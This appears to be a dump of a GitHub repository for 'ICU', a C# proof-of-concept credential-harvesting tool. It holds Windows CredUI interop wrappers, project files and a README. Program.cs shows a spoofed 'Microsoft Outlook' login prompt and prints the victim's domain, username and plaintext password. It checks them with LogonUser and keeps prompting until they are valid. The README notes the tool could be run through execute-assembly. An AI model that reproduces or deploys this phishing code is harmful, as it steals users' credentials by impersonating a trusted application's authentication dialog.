ref Int32 pcbPackedCredentials 935 | ); 936 | 937 | [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] 938 | public static extern Boolean CredUnPackAuthenticationBuffer( 939 | Int32 dwFlags, 940 | IntPtr pAuthBuffer, 941 | Int32 cbAuthBuffer, 942 | StringBuilder pszUserName, 943 | ref Int32 pcchMaxUserName, 944 | StringBuilder pszDomainName, 945 | ref Int32 pcchMaxDomainame, 946 | StringBuilder pszPassword, 947 | ref Int32 pcchMaxPassword 948 | ); 949 | [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] 950 | public static extern Boolean CredUnPackAuthenticationBuffer( 951 | Int32 dwFlags, 952 | IntPtr pAuthBuffer, 953 | Int32 cbAuthBuffer, 954 | IntPtr pszUserName, 955 | ref Int32 pcchMaxUserName, 956 | IntPtr pszDomainName, 957 | ref Int32 pcchMaxDomainame, 958 | IntPtr pszPassword, 959 | ref Int32 pcchMaxPassword 960 | ); 961 | 962 | public static PromptCredentialsResult CredUnPackAuthenticationBufferWrap(Boolean decryptProtectedCredentials, IntPtr authBufferPtr, Int32 authBufferSize) 963 | { 964 | StringBuilder sbUserName = new StringBuilder(255); 965 | StringBuilder sbDomainName = new StringBuilder(255); 966 | StringBuilder sbPassword = new StringBuilder(255); 967 | Int32 userNameSize = sbUserName.Capacity; 968 | Int32 domainNameSize = sbDomainName.Capacity; 969 | Int32 passwordSize = sbPassword.Capacity; 970 | 971 | //#define CRED_PACK_PROTECTED_CREDENTIALS 0x1 972 | //#define CRED_PACK_WOW_BUFFER 0x2 973 | //#define CRED_PACK_GENERIC_CREDENTIALS 0x4 974 | 975 | Boolean result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), 976 | authBufferPtr, 977 | authBufferSize, 978 | sbUserName, 979 | ref userNameSize, 980 | sbDomainName, 981 | ref domainNameSize, 982 | sbPassword, 983 | ref passwordSize 984 | ); 985 | if (!result) 986 | { 987 | var win32Error = Marshal.GetLastWin32Error(); 988 | if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/) 989 | { 990 | sbUserName.Capacity = userNameSize; 991 | sbPassword.Capacity = passwordSize; 992 | sbDomainName.Capacity = domainNameSize; 993 | result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), 994 | authBufferPtr, 995 | authBufferSize, 996 | sbUserName, 997 | ref userNameSize, 998 | sbDomainName, 999 | ref domainNameSize, 1000 | sbPassword, 1001 | ref passwordSize 1002 | ); 1003 | if (!result) 1004 | { 1005 | throw new Win32Exception(Marshal.GetLastWin32Error()); 1006 | } 1007 | } 1008 | else 1009 | { 1010 | throw new Win32Exception(win32Error); 1011 | } 1012 | } 1013 | 1014 | return new PromptCredentialsResult 1015 | { 1016 | UserName = sbUserName.ToString(), 1017 | DomainName = sbDomainName.ToString(), 1018 | Password = sbPassword.ToString() 1019 | }; 1020 | } 1021 | 1022 | public static PromptCredentialsSecureStringResult CredUnPackAuthenticationBufferWrapSecureString(Boolean decryptProtectedCredentials, IntPtr authBufferPtr, Int32 authBufferSize) 1023 | { 1024 | Int32 userNameSize = 255; 1025 | Int32 domainNameSize = 255; 1026 | Int32 passwordSize = 255; 1027 | IntPtr userNamePtr = IntPtr.Zero; 1028 | IntPtr domainNamePtr = IntPtr.Zero; 1029 | IntPtr passwordPtr = IntPtr.Zero; 1030 | try 1031 | { 1032 | userNamePtr = Marshal.AllocCoTaskMem(userNameSize); 1033 | domainNamePtr = Marshal.AllocCoTaskMem(domainNameSize); 1034 | passwordPtr = Marshal.AllocCoTaskMem(passwordSize); 1035 | 1036 | //#define CRED_PACK_PROTECTED_CREDENTIALS 0x1 1037 | //#define CRED_PACK_WOW_BUFFER 0x2 1038 | //#define CRED_PACK_GENERIC_CREDENTIALS 0x4 1039 | 1040 | Boolean result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), 1041 | authBufferPtr, 1042 | authBufferSize, 1043 | userNamePtr, 1044 | ref userNameSize, 1045 | domainNamePtr, 1046 | ref domainNameSize, 1047 | passwordPtr, 1048 | ref passwordSize 1049 | ); 1050 | if (!result) 1051 | { 1052 | var win32Error = Marshal.GetLastWin32Error(); 1053 | if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/) 1054 | { 1055 | userNamePtr = Marshal.ReAllocCoTaskMem(userNamePtr, userNameSize); 1056 | domainNamePtr = Marshal.ReAllocCoTaskMem(domainNamePtr, domainNameSize); 1057 | passwordPtr = Marshal.ReAllocCoTaskMem(passwordPtr, passwordSize); 1058 | result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), 1059 | authBufferPtr, 1060 | authBufferSize, 1061 | userNamePtr, 1062 | ref userNameSize, 1063 | domainNamePtr, 1064 | ref domainNameSize, 1065 | passwordPtr, 1066 | ref passwordSize); 1067 | if (!result) 1068 | { 1069 | throw new Win32Exception(Marshal.GetLastWin32Error()); 1070 | } 1071 | } 1072 | else 1073 | { 1074 | throw new Win32Exception(win32Error); 1075 | } 1076 | } 1077 | 1078 | return new PromptCredentialsSecureStringResult 1079 | { 1080 | UserName = PtrToSecureString(userNamePtr, userNameSize), 1081 | DomainName = PtrToSecureString(domainNamePtr, domainNameSize), 1082 | Password = PtrToSecureString(passwordPtr, passwordSize) 1083 | }; 1084 | } 1085 | finally 1086 | { 1087 | if (userNamePtr != IntPtr.Zero) 1088 | Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr); 1089 | if (domainNamePtr != IntPtr.Zero) 1090 | Marshal.ZeroFreeCoTaskMemUnicode(domainNamePtr); 1091 | if (passwordPtr != IntPtr.Zero) 1092 | Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr); 1093 | } 1094 | } 1095 | 1096 | #region Utility Methods 1097 | public static SecureString PtrToSecureString(IntPtr p) 1098 | { 1099 | SecureString s = new SecureString(); 1100 | Int32 i = 0; 1101 | while (true) 1102 | { 1103 | Char c = (Char)Marshal.ReadInt16(p, ((i++) * sizeof(Int16))); 1104 | if (c == '\u0000') 1105 | break; 1106 | s.AppendChar(c); 1107 | } 1108 | s.MakeReadOnly(); 1109 | return s; 1110 | } 1111 | public static SecureString PtrToSecureString(IntPtr p, Int32 length) 1112 | { 1113 | SecureString s = new SecureString(); 1114 | for (var i = 0; i < length; i++) 1115 | s.AppendChar((Char)Marshal.ReadInt16(p, i * sizeof(Int16))); 1116 | s.MakeReadOnly(); 1117 | return s; 1118 | } 1119 | #endregion 1120 | } 1121 | } 1122 | 1123 | /// 1124 | /// 1125 | /// 1126 | public interface IPromptCredentialsResult 1127 | { 1128 | } 1129 | /// 1130 | /// 1131 | /// 1132 | public class PromptCredentialsResult : IPromptCredentialsResult 1133 | { 1134 | public String UserName { get; internal set; } 1135 | public String DomainName { get; internal set; } 1136 | public String Password { get; internal set; } 1137 | public Boolean IsSaveChecked { get; set; } 1138 | } 1139 | /// 1140 | /// 1141 | /// 1142 | public class PromptCredentialsSecureStringResult : IPromptCredentialsResult 1143 | { 1144 | public SecureString UserName { get; internal set; } 1145 | public SecureString DomainName { get; internal set; } 1146 | public SecureString Password { get; internal set; } 1147 | public Boolean IsSaveChecked { get; set; } 1148 | } 1149 | -------------------------------------------------------------------------------- /ICU.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {7132B256-0209-4807-BCF1-71ADB10E8A0E} 8 | Exe 9 | ICU 10 | ICU 11 | v3.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /ICU.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29728.190 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ICU", "ICU.csproj", "{7132B256-0209-4807-BCF1-71ADB10E8A0E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7132B256-0209-4807-BCF1-71ADB10E8A0E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {7132B256-0209-4807-BCF1-71ADB10E8A0E}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {7132B256-0209-4807-BCF1-71ADB10E8A0E}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {7132B256-0209-4807-BCF1-71ADB10E8A0E}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {38084228-DA5D-4AF9-9E87-69F3AC845A8B} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Runtime.InteropServices; 4 | using System.Security; 5 | using System.Security.Principal; 6 | 7 | namespace ICU 8 | { 9 | class Program 10 | { 11 | // Define the Windows LogonUser and CloseHandle functions. 12 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 13 | internal static extern bool LogonUser(String username, String domain, String password, 14 | int logonType, int logonProvider, ref IntPtr token); 15 | 16 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 17 | public extern static bool CloseHandle(IntPtr handle); 18 | 19 | // Define the required LogonUser enumerations. 20 | const int LOGON32_PROVIDER_DEFAULT = 0; 21 | const int LOGON32_LOGON_INTERACTIVE = 2; 22 | 23 | 24 | public static void Main() 25 | { 26 | IntPtr tokenHandle = IntPtr.Zero; 27 | string userName, domainName, password; 28 | // Display the current user. 29 | Console.WriteLine("Logged on User: {0}", 30 | WindowsIdentity.GetCurrent().Name); 31 | Console.WriteLine("Sending prompt to user..."); 32 | //login 33 | bool login = false; 34 | try 35 | { 36 | do 37 | { 38 | var credentials = CredentialUI.PromptForWindowsCredentials("Microsoft Outlook ", "Authentication required"); 39 | domainName = credentials.DomainName; 40 | userName = credentials.UserName; 41 | password = credentials.Password; 42 | Console.WriteLine("User baited! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password); 43 | login = LogonUser(userName, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref tokenHandle); 44 | } 45 | while (!login); 46 | if (login) 47 | Console.WriteLine("LOGIN SUCCESS! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password); 48 | } 49 | catch(System.NullReferenceException nre) 50 | { Console.WriteLine("User pressed cancel :("); } 51 | 52 | 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ICU")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ICU")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("7132b256-0209-4807-bcf1-71adb10e8a0e")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ICU 2 | quick 'n dirty poc based on PoC windows auth prompt in c# based on https://gist.githubusercontent.com/mayuki/339952/raw/2c36b735bc51861a37194971a5e944f22c94df7c/CredentialUI.cs 3 | 4 | inspiration comes from https://ired.team/offensive-security/credential-access-and-credential-dumping/credentials-collection-via-creduipromptforcredentials 5 | 6 | Will continue to bug the user to input credentials until they are valid, or until they press cancel. 7 | written in c#, so could potentially be used by execute-assembly. 8 | -------------------------------------------------------------------------------- /obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WingsOfDoom/ICU/c609370ec1472c9de3e1adffe4ab83234c201280/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /obj/Debug/ICU.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Jean\source\repos\ICU\obj\Debug\ICU.csprojAssemblyReference.cache 2 | C:\Users\Jean\source\repos\ICU\bin\Debug\ICU.exe 3 | C:\Users\Jean\source\repos\ICU\bin\Debug\ICU.pdb 4 | C:\Users\Jean\source\repos\ICU\obj\Debug\ICU.exe 5 | C:\Users\Jean\source\repos\ICU\obj\Debug\ICU.pdb 6 | -------------------------------------------------------------------------------- /obj/Debug/ICU.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WingsOfDoom/ICU/c609370ec1472c9de3e1adffe4ab83234c201280/obj/Debug/ICU.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /obj/Debug/ICU.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WingsOfDoom/ICU/c609370ec1472c9de3e1adffe4ab83234c201280/obj/Debug/ICU.exe -------------------------------------------------------------------------------- /obj/Debug/ICU.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WingsOfDoom/ICU/c609370ec1472c9de3e1adffe4ab83234c201280/obj/Debug/ICU.pdb --------------------------------------------------------------------------------